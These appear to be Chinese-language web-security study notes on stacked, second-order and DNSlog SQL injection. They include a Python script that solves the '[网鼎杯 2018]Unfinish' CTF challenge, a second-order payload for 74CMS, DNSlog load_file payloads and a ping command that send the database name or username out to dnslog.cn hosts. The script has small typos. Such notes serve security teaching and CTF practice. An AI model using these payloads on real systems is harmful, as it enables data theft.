一、知识点
1、数据库堆叠注入
根据数据库类型决定是否支持多条语句执行
支持堆叠注入的数据库类型:MySQL,MSSQL,PostgreSQL等
堆叠的样式:
select * from news where id=1;creat table xiaodi like news;
一般而言,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以;如果代码上不行,数据库也可以进行堆叠
参考:https://cnblogs.com/backlion/p/9721687.html
2、数据库二次注入(重点)
应用功能逻辑涉及上导致的先写入后组合的注入
找回密码功能(典型的二次注入经常出现的地方)
1、得到你的用户名(你找回谁的密码)
注册用户名后,登录网站,进入找回密码的验证阶段
接收获取的用户名为注册时的用户名,修改密码(查询方式:update)
2、如果在注册用户名时,写了一个SQL注入的语句
则当进行修改密码时,会对用户名进行调用
即:update user set password='xiaodi' where username='SQL注入代码'
从而形成注入点
3、数据库DNSlog注入(基本用不到)
解决不回显(反向连接),SQL注入,命令执行,SSRF等
4、黑盒模式分析以上
二次注入:插入后调用显示操作符合
堆叠注入:判断注入后直接调用多条执行
DNS注入:在注入上没有太大的利用价值,其他还行
二、演示案例
1、二次注入-74CMS & [网鼎杯 2018]Unfinish
1.1 CTF-[网鼎杯 2018]Unfinish-黑盒
先进入register.php页面,通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入
import requests
from bs4 import Beautifulsoup
import time
url = 'http://challenge-fela8d4934d6d577.sandbox.ctfhub.com:10800/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}l
login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
rl = req.post(url+'register.php',data = register)
r2 = req.post (url+'login.php', data = login)
r3 = req.post (url+'index.php')
html = r3.text
soup = Beautifulsoup(html,'html.parser')
UserName = soup.span.string.strip()
if int(UserName) ==0:
break
m += chr (int (UserName))
print (m)
time.sleep(1)
1.2 CMS-74CMS个人会员中心-黑白盒
1)黑盒测试角度:
对学校名称进行注入
我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入
xiaodi',address=user()#
即insert address value ('xiaodi',address=user()#')
2)白盒测试角度
修改简历信息,抓包发现对应函数为save_resuma_education_edit
创建简历信息过程的函数流转情况:
make1 -> make1_save -> make2 -> make2_save -> make3 -> make3_save -> make4(写入了恶意代码) -> make4_save
函数的实现过程为:
insert -> update -> select
2、堆叠注入-强网杯 2019 随便注
https://www.cnblogs.com/Timesi/p/11426348.html
3、DNS利用-平台介绍&SQL注入&命令执行等
1)平台
2)应用场景
解决不回显,反向连接,SQL 注入,命令执行,SSRF 等
SQL注入:
MySQL中如果不支持load_file(),则就无法进行DNSlog注入。
select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))
3)命令执行
ping %USERNAME%.7logee.dnslog.cn
接收主机的username